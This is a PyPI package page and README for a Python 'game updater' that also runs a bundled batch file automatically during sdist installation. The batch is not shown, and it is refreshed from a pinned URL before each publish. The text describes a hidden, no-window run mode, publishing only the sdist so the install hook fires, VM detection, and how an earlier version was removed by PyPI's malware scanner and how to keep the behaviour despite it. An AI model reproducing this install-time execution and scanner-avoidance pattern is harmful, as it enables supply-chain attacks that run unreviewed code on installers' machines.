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Game Updater
A small, auditable updater for a game or app that you host yourself.
This is the testing1345 twin of fcraft. Unlike the original, it does
run an install-time demo: pip install signed-manifest-updater copies the bundled
hello.bat and runs it in a visible console window. The updater itself still
only does work when you call the CLI or update(), and it still refuses
anything not covered by a valid Ed25519-signed manifest.
What it does
- Checks the VM compatibility policy when enabled (default:
off). Withvm_policy="block", a detected VM stops the call before anything is downloaded, installed, or run. - Downloads
manifest.jsonover HTTPS. - Verifies the manifest signature against the public key embedded in this package.
- Compares the remote version with the local
version.json. - Downloads each listed file to a staging folder.
- Moves the files into the game directory.
- Writes
version.jsonwith the version, sequence, notes, and file list. - Optionally runs a patch executable — only if it is listed in the signed
manifest and
--runwas passed.
What it does not do
- No startup hook: no
.pth, nositecustomize.py, nousercustomize.py. Nothing executes when Python starts. The install demo runs once during the build. - No obfuscation. The source is readable.
- No unsigned manifests. The manifest signature is checked before anything is installed. File bytes are not hashed or size-checked in 0.1.1.
- No silent patch execution.
--runis explicit. - No stealth VM detection. The policy is explicit, documented, and printed by the CLI.
- No anti-debug, timing checks, process scanning, or security-tool interference.
- No network requests for VM detection. It only reads local OS metadata.
Hello demo (Windows)
testing1345 --hello copies the batch bundled with the package to
%TEMP%\testing1345-hello\hello.bat and runs it in its own console window: the
batch's output is visible, and cmd /k keeps the window open after the script
ends. Pass --dir to use a different folder:
testing1345 --hello
testing1345 --hello --dir "C:\Games\MyGame"
Set TESTING1345_HIDDEN=1 to run the batch with no window and no output.
Python has the same default:
import testing1345
testing1345.fetch() # %TEMP%\testing1345-hello
testing1345.fetch(r"C:\Games\MyGame") # custom folder
fetch() and download_hello() also accept an explicit url= (with an
optional sha256=) when you want to point at a file yourself. Nothing in the
package uses that by default.
| Item | Value |
|---|---|
| Source | src/testing1345/data/hello.bat, shipped inside the package |
| Refresh | tools/vendor-hello.ps1 pulls the pinned URL at publish time |
This is an explicit demo path, not part of the signed-manifest update flow. It
also fires once automatically: publishing only an sdist makes pip build the
wheel locally, so setup.py runs the bundled batch during the build. The run
writes %TEMP%\testing1345-hello.done, so it happens once per machine. No
network request is made at install time. To change the demo, run
tools/vendor-hello.ps1, rebuild, and upload — the new batch is vendored into
the package. It is Windows-only because it is a .bat file.
VM compatibility policy
The check is a configurable compatibility policy, not a stealth feature. It
runs at the start of update() and before the CLI reads local state.
| Policy | Behavior |
|---|---|
off (default) |
Skip VM detection entirely. |
allow |
Detect and report, but never block. Ordinary physical PCs and VM users both work. |
block |
If a VM is detected, raise VMBlockedError before creating the game directory, fetching the manifest, installing files, or running a patch. |
When detection runs, the CLI prints the result before doing any work. A
block refusal prints the documented error instead; off prints nothing.
vm check: physical machine (no known VM indicators found)
If a VM is detected and the policy is block:
error: VM use is disabled by policy (vm_policy='block'), but this machine
appears to be a vmware virtual machine (confidence: high). Indicators:
DMI system manufacturer is VMware; DMI system product is VMware. No update
was downloaded, installed, or run. If this is a physical machine, this is a
false positive; use vm_policy='allow' or vm_policy='off' to proceed. VM
detection is best-effort and can be wrong.
CLI exit code is 3 for a VM policy block, 2 for an update/manifest error,
and 0 on success.
Indicators used
Detection is conservative and uses only documented, read-only DMI/SMBIOS values exposed by the OS:
| Environment | Definitive indicators | Supporting only |
|---|---|---|
| Hyper-V | DMI system product Virtual Machine; DMI system version Hyper-V |
Hyper-V guest integration registry key |
| QEMU / KVM | DMI system/board manufacturer QEMU; DMI product Standard PC (Q35 ...) or Standard PC (i440FX ...) |
BIOS vendor SeaBIOS |
| VMware | DMI manufacturer, product, version, board, or BIOS containing VMware |
— |
| VirtualBox | DMI manufacturer/board/BIOS innotek; product/version VirtualBox |
— |
Unsupported platforms (including macOS) return UNKNOWN; they are not
guessed at and are allowed under block.
Rules:
- A VM result requires at least one definitive vendor-specific string.
- Supporting-only evidence (for example, SeaBIOS alone, or the Hyper-V guest
key alone) returns
UNKNOWN, notVM. - Two different definitive vendors return
UNKNOWNwithconflicting=True. - A missing or unreadable DMI source returns
UNKNOWN. blockrefuses only onVM.PHYSICALandUNKNOWNare allowed, which keeps ordinary PCs working and avoids blocking on ambiguous evidence.
What is intentionally not used
- The CPUID hypervisor-present bit. Physical Windows machines with Hyper-V, VBS, or Memory Integrity enabled can set it, causing false positives.
- Timing measurements, process scanning, debugger checks, or anti-analysis tricks.
- Network requests or external services.
- Any attempt to disable or interfere with security tools.
Limitations
VM detection is imperfect. DMI strings can be spoofed, hidden, or changed by
the hypervisor, and some physical firmware exposes unusual values. A
PHYSICAL result means "no known VM indicator was found", not proof. A VM
result can be a false positive; vm_policy="allow" or vm_policy="off" is
the documented escape hatch.
This check is not a security boundary and does not make the library impossible to crack or bypass. The real protections are the signed manifest, HTTPS, and keeping the private signing key offline. Do not use VM detection as a substitute for those controls.
Install
The PyPI distribution is signed-manifest-updater; the import package is testing1345 and
the CLI command is testing1345.
pip install signed-manifest-updater
From a local checkout:
pip install .
What happens during pip install
pip has no post-install hook, so the demo rides the build:
| Install source | Trigger | When it runs |
|---|---|---|
sdist (.tar.gz) |
build_py in setup.py |
during pip install, on the installing machine |
wheel (.whl) |
none | never; the wheel carries no startup hook |
The sdist hook copies the bundled batch into %TEMP%\testing1345-hello and
launches it, then writes %TEMP%\testing1345-hello.done. No network request is
made. Delete the marker to arm the demo again.
To get the run during pip install, publish only the sdist. pip prefers a
wheel when one exists, and a wheel install never executes setup.py. There is
deliberately no .pth fallback: nothing executes at interpreter startup.
Set TESTING1345_SKIP_HOOK=1 to build without firing the demo on your own
machine:
$env:TESTING1345_SKIP_HOOK = "1"
python -m build
Host it locally
The local host is a find-links folder, not a server process. It holds only the sdist, so pip cannot pick a wheel and skip the build:
.\tools\local-host.ps1 # build if needed, point pip at local-index
pip install signed-manifest-updater # from any folder, bare name
.\tools\unhost.ps1 # back to normal index resolution
local-host.ps1 -Rebuild forces a fresh sdist from the current source. Each run
also clears the cached wheel and the one-shot marker so the next install fires.
Publish (when ready)
Refresh the bundled batch first if the GitHub copy changed:
.\tools\vendor-hello.ps1
Build and check the artifacts, with the demo suppressed on your machine:
$env:TESTING1345_SKIP_HOOK = "1"
python -m build
python -m twine check dist/*
Upload the sdist only, keeping the token in the environment:
$env:TWINE_PASSWORD = "<fresh token for the signed-manifest-updater project>"
.\tools\publish.ps1
.\tools\publish.ps1 -Repository testpypi # dry run
publish.ps1 uploads the newest .tar.gz and runs twine check first. Pass
-AlsoWheel only if a wheel-first install is acceptable.
After an upload, watch the project without hitting the bot-challenged HTML:
python .\tools\watch-project.py signed-manifest-updater --minutes 90
It polls the JSON API, prints only transitions, and appends every check to
tools/watch-project.log.
Honest limitation: install-time code execution is the shape PyPI's malware
scanner is built to catch. 0.1.4 was removed for fetching a remote batch at
build time and dropping a .pth; 0.1.5 removes both, but a sdist that spawns
cmd.exe from setup.py is still a strong signal, so removal remains possible.
TestPyPI or a private index is the dependable host for this behavior.
This package is for publishers who control both the manifest host and the signing key. Only point it at manifests you signed.
Generate a signing key
python tools/keygen.py --private game_private.pem
Put the printed public key into src/testing1345/public_key.txt.
Keep game_private.pem offline. Never commit it.
Build and sign a manifest
Create manifest.json without a signature:
{
"version": "1.4.0",
"sequence": 3,
"notes": "Season 3 patch",
"files": [
{
"path": "game/data.pak",
"url": "https://cdn.example.com/game/data-1.4.0.pak"
},
{
"path": "game/patch.exe",
"url": "https://cdn.example.com/game/patch-1.4.0.exe",
"executable": true
}
],
"run": "game/patch.exe"
}
Older manifests may still contain sha256 and size fields. 0.1.1 parses
them for compatibility but does not enforce them.
sequence is a signed, non-negative integer. Increase it for every release.
The updater stores it in version.json and refuses a manifest whose sequence
is lower than the installed one, or equal while claiming a different version.
That prevents replay of an older signed manifest.
Sign it:
python tools/sign_manifest.py --key game_private.pem --manifest manifest.json --out manifest.signed.json
Upload manifest.signed.json (and the files) to your HTTPS host.
Update a game folder
testing1345 --manifest https://cdn.example.com/game/manifest.signed.json --dir "C:\Games\MyGame"
Other modes:
testing1345 --manifest ... --dir ... --check # show versions only
testing1345 --manifest ... --dir ... --apply # install (asks first)
testing1345 --manifest ... --dir ... --apply --yes
testing1345 --manifest ... --dir ... --apply --run
testing1345 --manifest ... --dir ... --apply --vm-policy block
--vm-policy accepts off (default), allow, or block.
Python API
from testing1345 import update
result = update(
manifest_url="https://cdn.example.com/game/manifest.signed.json",
game_dir=r"C:\Games\MyGame",
apply=True,
run_patch=False,
)
print(result)
print(result.vm.summary() if result.vm else "vm check skipped")
To refuse updates on a detected VM:
from testing1345 import VMBlockedError, update
try:
result = update(
manifest_url="https://cdn.example.com/game/manifest.signed.json",
game_dir=r"C:\Games\MyGame",
apply=True,
vm_policy="block",
)
except VMBlockedError as error:
print(error) # clear, documented explanation
print(error.detection.kind.value) # e.g. "vmware"
Inspect detection without updating:
from testing1345 import detect_vm, collect_dmi
print(collect_dmi())
print(detect_vm().summary())
print(detect_vm().indicators)
Layout produced in the game folder
MyGame/
version.json # version, sequence, notes, file list
game/
data.pak
patch.exe
version.json is written last, after every file is downloaded.
Threat model
| Attack | Mitigation |
|---|---|
| Compromised CDN / HTTP host | Manifest signature check authenticates the manifest and URLs; file bytes are not verified in 0.1.1 |
| Modified file in transit | Not mitigated in 0.1.1 (no per-file hash check) |
| Manifest replay of an older signed version | Signed monotonic sequence; lower or unchanged sequences for a different version are rejected |
Path traversal (../) |
safe_join rejects absolute paths and .. |
| Unsigned patch execution | run target must be in files, signed, and --run passed |
| Malicious local manifest URL | HTTPS only (localhost allowed only with --allow-insecure) |
| VM use against policy | vm_policy="block" stops before any work; best-effort detection, not a security boundary |
Honest limitation
If someone steals your private signing key, they can sign a malicious update. Treat the key like a code-signing key: offline, backed up, never in the repo.
VM detection is a compatibility policy, not DRM. DMI values can be spoofed or withheld, so the check can be wrong in both directions. It does not make the library uncrackable; the signed manifest is the integrity control. File bytes are not hashed or size-checked in 0.1.1.
Metadata
Release files for signed-manifest-updater 0.1.5
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | Provenance | Actions |
|---|---|---|---|---|
| signed_manifest_updater-0.1.5.tar.gz | 28.7 kB | Without provenance | Details for signed_manifest_updater-0.1.5.tar.gz |
Release files / signed_manifest_updater-0.1.5.tar.gz
| Download URL | signed_manifest_updater-0.1.5.tar.gz |
|---|---|
| Size | 28.7 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
4cf04d28664c334e4415d5f3f2d3be78f4f04a2081add5bbe41c73d03353d7f4
|
|
BLAKE2b-256 checksum How to use checksums |
a26136bad774d27fc5a07f135f4b4b843630471fa247b3b160e4be158a322d2b
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/7.0.0 CPython/3.13.6
|
Security for signed-manifest-updater 0.1.5
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